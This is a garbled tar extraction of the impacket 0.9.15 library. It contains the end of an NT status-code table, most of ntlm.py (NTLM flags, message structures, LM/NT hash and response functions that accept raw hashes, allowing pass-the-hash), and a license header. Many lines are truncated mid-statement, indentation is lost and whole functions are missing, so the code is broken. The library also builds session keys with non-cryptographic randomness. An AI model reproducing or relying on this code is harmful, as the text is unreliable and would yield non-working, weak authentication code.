STATUS_FWP_DUPLICATE_CONDITION = 0xC022002A
STATUS_FWP_DUPLICATE_KEYMOD = 0xC022002B
STATUS_FWP_ACTION_INCOMPATIBLE_WITH_LAYER = 0xC022002C
STATUS_FWP_ACTION_INCOMPATIBLE_WITH_SUBLAYER = 0xC022002D
STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_LAYER = 0xC022002E
STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_CALLOUT = 0xC022002F
STATUS_FWP_INCOMPATIBLE_AUTH_METHOD = 0xC0220030
STATUS_FWP_INCOMPATIBLE_DH_GROUP = 0xC0220031
STATUS_FWP_EM_NOT_SUPPORTED = 0xC0220032
STATUS_FWP_NEVER_MATCH = 0xC0220033
STATUS_FWP_PROVIDER_CONTEXT_MISMATCH = 0xC0220034
STATUS_FWP_INVALID_PARAMETER = 0xC0220035
STATUS_FWP_TOO_MANY_SUBLAYERS = 0xC0220036
STATUS_FWP_CALLOUT_NOTIFICATION_FAILED = 0xC0220037
STATUS_FWP_INCOMPATIBLE_AUTH_CONFIG = 0xC0220038
STATUS_FWP_INCOMPATIBLE_CIPHER_CONFIG = 0xC0220039
STATUS_FWP_DUPLICATE_AUTH_METHOD = 0xC022003C
STATUS_FWP_TCPIP_NOT_READY = 0xC0220100
STATUS_FWP_INJECT_HANDLE_CLOSING = 0xC0220101
STATUS_FWP_INJECT_HANDLE_STALE = 0xC0220102
STATUS_FWP_CANNOT_PEND = 0xC0220103
STATUS_NDIS_CLOSING = 0xC0230002
STATUS_NDIS_BAD_VERSION = 0xC0230004
STATUS_NDIS_BAD_CHARACTERISTICS = 0xC0230005
STATUS_NDIS_ADAPTER_NOT_FOUND = 0xC0230006
STATUS_NDIS_OPEN_FAILED = 0xC0230007
STATUS_NDIS_DEVICE_FAILED = 0xC0230008
STATUS_NDIS_MULTICAST_FULL = 0xC0230009
STATUS_NDIS_MULTICAST_EXISTS = 0xC023000A
STATUS_NDIS_MULTICAST_NOT_FOUND = 0xC023000B
STATUS_NDIS_REQUEST_ABORTED = 0xC023000C
STATUS_NDIS_RESET_IN_PROGRESS = 0xC023000D
STATUS_NDIS_INVALID_PACKET = 0xC023000F
STATUS_NDIS_INVALID_DEVICE_REQUEST = 0xC0230010
STATUS_NDIS_ADAPTER_NOT_READY = 0xC0230011
STATUS_NDIS_INVALID_LENGTH = 0xC0230014
STATUS_NDIS_INVALID_DATA = 0xC0230015
STATUS_NDIS_BUFFER_TOO_SHORT = 0xC0230016
STATUS_NDIS_INVALID_OID = 0xC0230017
STATUS_NDIS_ADAPTER_REMOVED = 0xC0230018
STATUS_NDIS_UNSUPPORTED_MEDIA = 0xC0230019
STATUS_NDIS_GROUP_ADDRESS_IN_USE = 0xC023001A
STATUS_NDIS_FILE_NOT_FOUND = 0xC023001B
STATUS_NDIS_ERROR_READING_FILE = 0xC023001C
STATUS_NDIS_ALREADY_MAPPED = 0xC023001D
STATUS_NDIS_RESOURCE_CONFLICT = 0xC023001E
STATUS_NDIS_MEDIA_DISCONNECTED = 0xC023001F
STATUS_NDIS_INVALID_ADDRESS = 0xC0230022
STATUS_NDIS_PAUSED = 0xC023002A
STATUS_NDIS_INTERFACE_NOT_FOUND = 0xC023002B
STATUS_NDIS_UNSUPPORTED_REVISION = 0xC023002C
STATUS_NDIS_INVALID_PORT = 0xC023002D
STATUS_NDIS_INVALID_PORT_STATE = 0xC023002E
STATUS_NDIS_LOW_POWER_STATE = 0xC023002F
STATUS_NDIS_NOT_SUPPORTED = 0xC02300BB
STATUS_NDIS_OFFLOAD_POLICY = 0xC023100F
STATUS_NDIS_OFFLOAD_CONNECTION_REJECTED = 0xC0231012
STATUS_NDIS_OFFLOAD_PATH_REJECTED = 0xC0231013
STATUS_NDIS_DOT11_AUTO_CONFIG_ENABLED = 0xC0232000
STATUS_NDIS_DOT11_MEDIA_IN_USE = 0xC0232001
STATUS_NDIS_DOT11_POWER_STATE_INVALID = 0xC0232002
STATUS_NDIS_PM_WOL_PATTERN_LIST_FULL = 0xC0232003
STATUS_NDIS_PM_PROTOCOL_OFFLOAD_LIST_FULL = 0xC0232004
STATUS_IPSEC_BAD_SPI = 0xC0360001
STATUS_IPSEC_SA_LIFETIME_EXPIRED = 0xC0360002
STATUS_IPSEC_WRONG_SA = 0xC0360003
STATUS_IPSEC_REPLAY_CHECK_FAILED = 0xC0360004
STATUS_IPSEC_INVALID_PACKET = 0xC0360005
STATUS_IPSEC_INTEGRITY_CHECK_FAILED = 0xC0360006
STATUS_IPSEC_CLEAR_TEXT_DROP = 0xC0360007
STATUS_IPSEC_AUTH_FIREWALL_DROP = 0xC0360008
STATUS_IPSEC_THROTTLE_DROP = 0xC0360009
STATUS_IPSEC_DOSP_BLOCK = 0xC0368000
STATUS_IPSEC_DOSP_RECEIVED_MULTICAST = 0xC0368001
STATUS_IPSEC_DOSP_INVALID_PACKET = 0xC0368002
STATUS_IPSEC_DOSP_STATE_LOOKUP_FAILED = 0xC0368003
STATUS_IPSEC_DOSP_MAX_ENTRIES = 0xC0368004
STATUS_IPSEC_DOSP_KEYMOD_NOT_ALLOWED = 0xC0368005
STATUS_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES = 0xC0368006
STATUS_VOLMGR_MIRROR_NOT_SUPPORTED = 0xC038005B
STATUS_VOLMGR_RAID5_NOT_SUPPORTED = 0xC038005C
STATUS_VIRTDISK_PROVIDER_NOT_FOUND = 0xC03A0014
STATUS_VIRTDISK_NOT_VIRTUAL_DISK = 0xC03A0015
STATUS_VHD_PARENT_VHD_ACCESS_DENIED = 0xC03A0016
STATUS_VHD_CHILD_PARENT_SIZE_MISMATCH = 0xC03A0017
STATUS_VHD_DIFFERENCING_CHAIN_CYCLE_DETECTED = 0xC03A0018
STATUS_VHD_DIFFERENCING_CHAIN_ERROR_IN_PARENT = 0xC03A0019
impacket-0.9.15/impacket/ntlm.py 0000600 0000765 0000000 00000120663 12734531507 016602 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies:
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import base64
import struct
import calendar
import time
import hashlib
import random
import string
import binascii
from impacket.structure import Structure
from impacket import LOG
# This is important. NTLMv2 is not negotiated by the client or server.
# It is used if set locally on both sides. Change this item if you don't want to use
# NTLMv2 by default and fall back to NTLMv1 (with EXTENDED_SESSION_SECURITY or not)
# Check the following links:
# http://davenport.sourceforge.net/ntlm.html
# http://blogs.msdn.com/b/openspecification/archive/2010/04/20/ntlm-keys-and-sundry-stuff.aspx
# http://social.msdn.microsoft.com/Forums/en-US/os_interopscenarios/thread/c8f488ed-1b96-4e06-bd65-390aa41138d1/
# So I'm setting a global variable to control this, this can also be set programmatically
USE_NTLMv2 = True # if false will fall back to NTLMv1 (or NTLMv1 with ESS a.k.a NTLM2)
def computeResponse(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='',
use_ntlmv2=USE_NTLMv2):
if use_ntlmv2:
return computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password,
lmhash, nthash, use_ntlmv2=use_ntlmv2)
else:
return computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password,
lmhash, nthash, use_ntlmv2=use_ntlmv2)
try:
POW = None
from Crypto.Cipher import ARC4
from Crypto.Cipher import DES
from Crypto.Hash import MD4
except Exception:
try:
import POW
except Exception:
LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto")
LOG.critical("See http://www.pycrypto.org/")
NTLM_AUTH_NONE = 1
NTLM_AUTH_CONNECT = 2
NTLM_AUTH_CALL = 3
NTLM_AUTH_PKT = 4
NTLM_AUTH_PKT_INTEGRITY = 5
NTLM_AUTH_PKT_PRIVACY = 6
# If set, requests 56-bit encryption. If the client sends NTLMSSP_NEGOTIATE_SEAL or NTLMSSP_NEGOTIATE_SIGN
# with NTLMSSP_NEGOTIATE_56 to the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_56 to
# the client in the CHALLENGE_MESSAGE. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128
# are requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be
# returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_56 if it is
# supported. An alternate name for this field is NTLMSSP_NEGOTIATE_56.
NTLMSSP_NEGOTIATE_56 = 0x80000000
# If set, requests an explicit key exchange. This capability SHOULD be used because it improves security for message
# integrity or confidentiality. See sections 3.2.5.1.2, 3.2.5.2.1, and 3.2.5.2.2 for details. An alternate name for
# this field is NTLMSSP_NEGOTIATE_KEY_EXCH.
NTLMSSP_NEGOTIATE_KEY_EXCH = 0x40000000
# If set, requests 128-bit session key negotiation. An alternate name for this field is NTLMSSP_NEGOTIATE_128.
# If the client sends NTLMSSP_NEGOTIATE_128 to the server in the NEGOTIATE_MESSAGE, the server MUST return
# NTLMSSP_NEGOTIATE_128 to the client in the CHALLENGE_MESSAGE only if the client sets NTLMSSP_NEGOTIATE_SEAL or
# NTLMSSP_NEGOTIATE_SIGN. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 are
# requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be
# returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_128 if it
# is supported. An alternate name for this field is NTLMSSP_NEGOTIATE_128
NTLMSSP_NEGOTIATE_128 = 0x20000000
NTLMSSP_RESERVED_1 = 0x10000000
NTLMSSP_RESERVED_2 = 0x08000000
NTLMSSP_RESERVED_3 = 0x04000000
# If set, requests the protocol version number. The data corresponding to this flag is provided in the Version field
# of the NEGOTIATE_MESSAGE, the CHALLENGE_MESSAGE, and the AUTHENTICATE_MESSAGE.<22> An alternate name for this field
# is NTLMSSP_NEGOTIATE_VERSION
NTLMSSP_NEGOTIATE_VERSION = 0x02000000
NTLMSSP_RESERVED_4 = 0x01000000
# If set, indicates that the TargetInfo fields in the CHALLENGE_MESSAGE (section 2.2.1.2) are populated.
# An alternate name for this field is NTLMSSP_NEGOTIATE_TARGET_INFO.
NTLMSSP_NEGOTIATE_TARGET_INFO = 0x00800000
# If set, requests the usage of the LMOWF (section 3.3). An alternate name for this field is
# NTLMSSP_REQUEST_NON_NT_SESSION_KEY.
NTLMSSP_REQUEST_NON_NT_SESSION_KEY = 0x00400000
NTLMSSP_RESERVED_5 = 0x00200000
# If set, requests an identify level token. An alternate name for this field is NTLMSSP_NEGOTIATE_IDENTIFY
NTLMSSP_NEGOTIATE_IDENTIFY = 0x00100000
# If set, requests usage of the NTLM v2 session security. NTLM v2 session security is a misnomer because it is not
# NTLM v2. It is NTLM v1 using the extended session security that is also in NTLM v2. NTLMSSP_NEGOTIATE_LM_KEY and
# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are mutually exclusive. If both NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
# and NTLMSSP_NEGOTIATE_LM_KEY are requested, NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY alone MUST be returned to the
# client. NTLM v2 authentication session key generation MUST be supported by both the client and the DC in order to be
# used, and extended session security signing and sealing requires support from the client and the server in order to
# be used.<23> An alternate name for this field is NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = 0x00080000
NTLMSSP_NEGOTIATE_NTLM2 = 0x00080000
NTLMSSP_TARGET_TYPE_SHARE = 0x00040000
# If set, TargetName MUST be a server name. The data corresponding to this flag is provided by the server in the
# TargetName field of the CHALLENGE_MESSAGE. If this bit is set, then NTLMSSP_TARGET_TYPE_DOMAIN MUST NOT be set.
# This flag MUST be ignored in the NEGOTIATE_MESSAGE and the AUTHENTICATE_MESSAGE. An alternate name for this field
# is NTLMSSP_TARGET_TYPE_SERVER
NTLMSSP_TARGET_TYPE_SERVER = 0x00020000
# If set, TargetName MUST be a domain name. The data corresponding to this flag is provided by the server in the
# TargetName field of the CHALLENGE_MESSAGE. If set, then NTLMSSP_TARGET_TYPE_SERVER MUST NOT be set. This flag MUST
# be ignored in the NEGOTIATE_MESSAGE and the AUTHENTICATE_MESSAGE. An alternate name for this field is
# NTLMSSP_TARGET_TYPE_DOMAIN.
NTLMSSP_TARGET_TYPE_DOMAIN = 0x00010000
# If set, requests the presence of a signature block on all messages. NTLMSSP_NEGOTIATE_ALWAYS_SIGN MUST be set in the
# NEGOTIATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. NTLMSSP_NEGOTIATE_ALWAYS_SIGN is overridden
# by NTLMSSP_NEGOTIATE_SIGN and NTLMSSP_NEGOTIATE_SEAL, if they are supported. An alternate name for this field is
# NTLMSSP_NEGOTIATE_ALWAYS_SIGN.
NTLMSSP_NEGOTIATE_ALWAYS_SIGN = 0x00008000 # forces the other end to sign packets
NTLMSSP_RESERVED_6 = 0x00004000
# This flag indicates whether the Workstation field is present. If this flag is not set, the Workstation field MUST be
# ignored. If this flag is set, the length field of the Workstation field specifies whether the workstation name is
# nonempty or not.<24> An alternate name for this field is NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED.
NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = 0x00002000
# If set, the domain name is provided (section 2.2.1.1).<25> An alternate name for this field is
# NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED
NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = 0x00001000
NTLMSSP_RESERVED_7 = 0x00000800
# If set, LM authentication is not allowed and only NT authentication is used.
NTLMSSP_NEGOTIATE_NT_ONLY = 0x00000400
# If set, requests usage of the NTLM v1 session security protocol. NTLMSSP_NEGOTIATE_NTLM MUST be set in the
# NEGOTIATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. An alternate name for this field is
# NTLMSSP_NEGOTIATE_NTLM
NTLMSSP_NEGOTIATE_NTLM = 0x00000200
NTLMSSP_RESERVED_8 = 0x00000100
# If set, requests LAN Manager (LM) session key computation. NTLMSSP_NEGOTIATE_LM_KEY and
# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are mutually exclusive. If both NTLMSSP_NEGOTIATE_LM_KEY and
# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are requested, NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY alone MUST be
# returned to the client. NTLM v2 authentication session key generation MUST be supported by both the client and the
# DC in order to be used, and extended session security signing and sealing requires support from the client and the
# server to be used. An alternate name for this field is NTLMSSP_NEGOTIATE_LM_KEY.
NTLMSSP_NEGOTIATE_LM_KEY = 0x00000080
# If set, requests connectionless authentication. If NTLMSSP_NEGOTIATE_DATAGRAM is set, then NTLMSSP_NEGOTIATE_KEY_EXCH
# MUST always be set in the AUTHENTICATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. An alternate
# name for this field is NTLMSSP_NEGOTIATE_DATAGRAM.
NTLMSSP_NEGOTIATE_DATAGRAM = 0x00000040
# If set, requests session key negotiation for message confidentiality. If the client sends NTLMSSP_NEGOTIATE_SEAL to
# the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_SEAL to the client in the
# CHALLENGE_MESSAGE. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD always set NTLMSSP_NEGOTIATE_56 and
# NTLMSSP_NEGOTIATE_128, if they are supported. An alternate name for this field is NTLMSSP_NEGOTIATE_SEAL.
NTLMSSP_NEGOTIATE_SEAL = 0x00000020
# If set, requests session key negotiation for message signatures. If the client sends NTLMSSP_NEGOTIATE_SIGN to the
# server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_SIGN to the client in the CHALLENGE_MESSAGE.
# An alternate name for this field is NTLMSSP_NEGOTIATE_SIGN.
NTLMSSP_NEGOTIATE_SIGN = 0x00000010 # means packet is signed, if verifier is wrong it fails
NTLMSSP_RESERVED_9 = 0x00000008
# If set, a TargetName field of the CHALLENGE_MESSAGE (section 2.2.1.2) MUST be supplied. An alternate name for this
# field is NTLMSSP_REQUEST_TARGET.
NTLMSSP_REQUEST_TARGET = 0x00000004
# If set, requests OEM character set encoding. An alternate name for this field is NTLM_NEGOTIATE_OEM. See bit A for
# details.
NTLM_NEGOTIATE_OEM = 0x00000002
# If set, requests Unicode character set encoding. An alternate name for this field is NTLMSSP_NEGOTIATE_UNICODE.
NTLMSSP_NEGOTIATE_UNICODE = 0x00000001
# AV_PAIR constants
NTLMSSP_AV_EOL = 0x00
NTLMSSP_AV_HOSTNAME = 0x01
NTLMSSP_AV_DOMAINNAME = 0x02
NTLMSSP_AV_DNS_HOSTNAME = 0x03
NTLMSSP_AV_DNS_DOMAINNAME = 0x04
NTLMSSP_AV_DNS_TREENAME = 0x05
NTLMSSP_AV_FLAGS = 0x06
NTLMSSP_AV_TIME = 0x07
NTLMSSP_AV_RESTRICTIONS = 0x08
NTLMSSP_AV_TARGET_NAME = 0x09
NTLMSSP_AV_CHANNEL_BINDINGS = 0x0a
class AV_PAIRS():
def __init__(self, data = None):
self.fields = {}
if data is not None:
self.fromString(data)
def __setitem__(self,key,value):
self.fields[key] = (len(value),value)
def __getitem__(self, key):
if self.fields.has_key(key):
return self.fields[key]
return None
def __delitem__(self, key):
del self.fields[key]
def __len__(self):
return len(self.getData())
def __str__(self):
return len(self.getData())
def fromString(self, data):
tInfo = data
fType = 0xff
while fType is not NTLMSSP_AV_EOL:
fType = struct.unpack(' 0:
self['flags'] |= NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED
if len(self.fields['domain_name']) > 0:
self['flags'] |= NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED
if len(self.fields['os_version']) > 0:
self['flags'] |= NTLMSSP_NEGOTIATE_VERSION
if (self['flags'] & NTLMSSP_NEGOTIATE_VERSION) == NTLMSSP_NEGOTIATE_VERSION:
version_len = 8
else:
version_len = 0
if (self['flags'] & NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED) == NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED:
self['host_offset']=32 + version_len
if (self['flags'] & NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED) == NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED:
self['domain_offset']=32+len(self['host_name']) + version_len
return Structure.getData(self)
def fromString(self,data):
Structure.fromString(self,data)
domain_offset = self['domain_offset']
domain_end = self['domain_len'] + domain_offset
self['domain_name'] = data[ domain_offset : domain_end ]
host_offset = self['host_offset']
host_end = self['host_len'] + host_offset
self['host_name'] = data[ host_offset : host_end ]
hasOsInfo = self['flags'] & NTLMSSP_NEGOTIATE_VERSION
if len(data) >= 36 and hasOsInfo:
self['os_version'] = data[32:40]
else:
self['os_version'] = ''
class NTLMAuthChallenge(Structure):
structure = (
('','"NTLMSSP\x00'),
('message_type',' 0:
# av_pairs = AV_PAIRS(self['TargetInfoFields'][:self['TargetInfoFields_len']])
# self['TargetInfoFields'] = av_pairs
return self
class NTLMAuthChallengeResponse(Structure, NTLMAuthMixin):
structure = (
('','"NTLMSSP\x00'),
('message_type','= 36:
# self['os_version'] = data[32:36]
#else:
# self['os_version'] = ''
class ImpacketStructure(Structure):
def set_parent(self, other):
self.parent = other
def get_packet(self):
return str(self)
def get_size(self):
return len(self)
class ExtendedOrNotMessageSignature(Structure):
def __init__(self, flags = 0, **kargs):
if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
self.structure = self.extendedMessageSignature
else:
self.structure = self.MessageSignature
return Structure.__init__(self, **kargs)
class NTLMMessageSignature(ExtendedOrNotMessageSignature):
extendedMessageSignature = (
('Version','> 1) & 0x7f) << 1)
s = s + chr(((ord(key[0]) & 0x01) << 6 | ((ord(key[1]) >> 2) & 0x3f)) << 1)
s = s + chr(((ord(key[1]) & 0x03) << 5 | ((ord(key[2]) >> 3) & 0x1f)) << 1)
s = s + chr(((ord(key[2]) & 0x07) << 4 | ((ord(key[3]) >> 4) & 0x0f)) << 1)
s = s + chr(((ord(key[3]) & 0x0f) << 3 | ((ord(key[4]) >> 5) & 0x07)) << 1)
s = s + chr(((ord(key[4]) & 0x1f) << 2 | ((ord(key[5]) >> 6) & 0x03)) << 1)
s = s + chr(((ord(key[5]) & 0x3f) << 1 | ((ord(key[6]) >> 7) & 0x01)) << 1)
s = s + chr((ord(key[6]) & 0x7f) << 1)
return s
def __DES_block(key, msg):
if POW:
cipher = POW.Symmetric(POW.DES_ECB)
cipher.encryptInit(__expand_DES_key(key))
return cipher.update(msg)
else:
cipher = DES.new(__expand_DES_key(key),DES.MODE_ECB)
return cipher.encrypt(msg)
def ntlmssp_DES_encrypt(key, challenge):
answer = __DES_block(key[:7], challenge)
answer += __DES_block(key[7:14], challenge)
answer += __DES_block(key[14:], challenge)
return answer
# High level functions to use NTLMSSP
def getNTLMSSPType1(workstation='', domain='', signingRequired = False, use_ntlmv2 = USE_NTLMv2):
# Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
# international characters.
import sys
encoding = sys.getfilesystemencoding()
if encoding is not None:
try:
workstation.encode('utf-16le')
except:
workstation = workstation.decode(encoding)
try:
domain.encode('utf-16le')
except:
domain = domain.decode(encoding)
# Let's prepare a Type 1 NTLMSSP Message
auth = NTLMAuthNegotiate()
auth['flags']=0
if signingRequired:
auth['flags'] = NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_SIGN | NTLMSSP_NEGOTIATE_ALWAYS_SIGN | NTLMSSP_NEGOTIATE_SEAL
if use_ntlmv2:
auth['flags'] |= NTLMSSP_NEGOTIATE_TARGET_INFO
auth['flags'] |= NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY | NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_REQUEST_TARGET | NTLMSSP_NEGOTIATE_128 | NTLMSSP_NEGOTIATE_56
auth['domain_name'] = domain.encode('utf-16le')
return auth
def getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = '', use_ntlmv2 = USE_NTLMv2):
# Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
# international characters.
import sys
encoding = sys.getfilesystemencoding()
if encoding is not None:
try:
user.encode('utf-16le')
except:
user = user.decode(encoding)
try:
password.encode('utf-16le')
except:
password = password.decode(encoding)
try:
domain.encode('utf-16le')
except:
domain = user.decode(encoding)
ntlmChallenge = NTLMAuthChallenge(type2)
# Let's start with the original flags sent in the type1 message
responseFlags = type1['flags']
# Token received and parsed. Depending on the authentication
# method we will create a valid ChallengeResponse
ntlmChallengeResponse = NTLMAuthChallengeResponse(user, password, ntlmChallenge['challenge'])
clientChallenge = "".join([random.choice(string.digits+string.letters) for i in xrange(8)])
serverName = ntlmChallenge['TargetInfoFields']
ntResponse, lmResponse, sessionBaseKey = computeResponse(ntlmChallenge['flags'], ntlmChallenge['challenge'], clientChallenge, serverName, domain, user, password, lmhash, nthash, use_ntlmv2 )
# Let's check the return flags
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
# No extended session security, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_128 ) == 0:
# No support for 128 key len, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_128
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
# No key exchange supported, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_KEY_EXCH
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_SEAL) == 0:
# No sign available, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_SEAL
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_SIGN) == 0:
# No sign available, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_SIGN
if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN) == 0:
# No sign available, taking it out
responseFlags &= 0xffffffff ^ NTLMSSP_NEGOTIATE_ALWAYS_SIGN
keyExchangeKey = KXKEY(ntlmChallenge['flags'],sessionBaseKey, lmResponse, ntlmChallenge['challenge'], password, lmhash, nthash,use_ntlmv2)
# Special case for anonymous login
if user == '' and password == '' and lmhash == '' and nthash == '':
keyExchangeKey = '\x00'*16
# If we set up key exchange, let's fill the right variables
if ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH:
# not exactly what I call random tho :\
# exportedSessionKey = this is the key we should use to sign
exportedSessionKey = "".join([random.choice(string.digits+string.letters) for i in xrange(16)])
#exportedSessionKey = "A"*16
#print "keyExchangeKey %r" % keyExchangeKey
# Let's generate the right session key based on the challenge flags
#if responseFlags & NTLMSSP_NTLM2_KEY:
# Extended session security enabled
# if responseFlags & NTLMSSP_KEY_128:
# Full key
# exportedSessionKey = exportedSessionKey
# elif responseFlags & NTLMSSP_KEY_56:
# Only 56-bit key
# exportedSessionKey = exportedSessionKey[:7]
# else:
# exportedSessionKey = exportedSessionKey[:5]
#elif responseFlags & NTLMSSP_KEY_56:
# No extended session security, just 56 bits key
# exportedSessionKey = exportedSessionKey[:7] + '\xa0'
#else:
# exportedSessionKey = exportedSessionKey[:5] + '\xe5\x38\xb0'
encryptedRandomSessionKey = generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
else:
encryptedRandomSessionKey = None
# [MS-NLMP] page 46
exportedSessionKey = keyExchangeKey
ntlmChallengeResponse['flags'] = responseFlags
ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le')
ntlmChallengeResponse['lanman'] = lmResponse
ntlmChallengeResponse['ntlm'] = ntResponse
if encryptedRandomSessionKey is not None:
ntlmChallengeResponse['session_key'] = encryptedRandomSessionKey
return ntlmChallengeResponse, exportedSessionKey
# NTLMv1 Algorithm
def generateSessionKeyV1(password, lmhash, nthash):
if POW:
hash = POW.Digest(POW.MD4_DIGEST)
else:
hash = MD4.new()
hash.update(NTOWFv1(password, lmhash, nthash))
return hash.digest()
def computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='', use_ntlmv2 = USE_NTLMv2):
if (user == '' and password == ''):
# Special case for anonymous authentication
lmResponse = ''
ntResponse = ''
else:
lmhash = LMOWFv1(password, lmhash, nthash)
nthash = NTOWFv1(password, lmhash, nthash)
if flags & NTLMSSP_NEGOTIATE_LM_KEY:
ntResponse = ''
lmResponse = get_ntlmv1_response(lmhash, serverChallenge)
elif flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
md5 = hashlib.new('md5')
chall = (serverChallenge + clientChallenge)
md5.update(chall)
ntResponse = ntlmssp_DES_encrypt(nthash, md5.digest()[:8])
lmResponse = clientChallenge + '\x00'*16
else:
ntResponse = get_ntlmv1_response(nthash,serverChallenge)
lmResponse = get_ntlmv1_response(lmhash, serverChallenge)
sessionBaseKey = generateSessionKeyV1(password, lmhash, nthash)
return ntResponse, lmResponse, sessionBaseKey
def compute_lmhash(password):
# This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html)
password = password.upper()
lmhash = __DES_block(password[:7], KNOWN_DES_INPUT)
lmhash += __DES_block(password[7:14], KNOWN_DES_INPUT)
return lmhash
def NTOWFv1(password, lmhash = '', nthash=''):
if nthash != '':
return nthash
return compute_nthash(password)
def LMOWFv1(password, lmhash = '', nthash=''):
if lmhash != '':
return lmhash
return compute_lmhash(password)
def compute_nthash(password):
# This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html)
try:
password = unicode(password).encode('utf_16le')
except UnicodeDecodeError:
import sys
password = password.decode(sys.getfilesystemencoding()).encode('utf_16le')
if POW:
hash = POW.Digest(POW.MD4_DIGEST)
else:
hash = MD4.new()
hash.update(password)
return hash.digest()
def get_ntlmv1_response(key, challenge):
return ntlmssp_DES_encrypt(key, challenge)
# NTLMv2 Algorithm - as described in MS-NLMP Section 3.3.2
# Crypto Stuff
def MAC(flags, handle, signingKey, seqNum, message):
# [MS-NLMP] Section 3.4.4
# Returns the right messageSignature depending on the flags
messageSignature = NTLMMessageSignature(flags)
if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
if flags & NTLMSSP_NEGOTIATE_KEY_EXCH:
messageSignature['Version'] = 1
messageSignature['Checksum'] = struct.unpack(' Local Policies -> Security Options -> Server SPN target name validation level
av_pairs[NTLMSSP_AV_TARGET_NAME] = 'cifs/'.encode('utf-16le') + av_pairs[NTLMSSP_AV_HOSTNAME][1]
if av_pairs[NTLMSSP_AV_TIME] is not None:
aTime = av_pairs[NTLMSSP_AV_TIME][1]
else:
aTime = struct.pack('
# smb.py - SMB/CIFS library
#
# This software is provided 'as-is', without any express or implied warranty.
# In no event will the author be held liable for any damages arising from the
# use of this software.
#
# Permission is granted to anyone to use this software for any purpose,
# including commercial applications, and to alter it and redistribute it
# freely, subject to the following restrictions:
#
# 1. The origin of this software must not be misrepresented; you must not
# claim that you wrote the original software. If you use this software
# in a product, an acknowledgment in the product documentation would be
# appreciated but is not required.
#
# 2. Altered source versions must be plainly marked as such, and must not be
# misrepresented as being the original software.
#
# 3. This notice cannot be removed or altered from any source distribution.
#
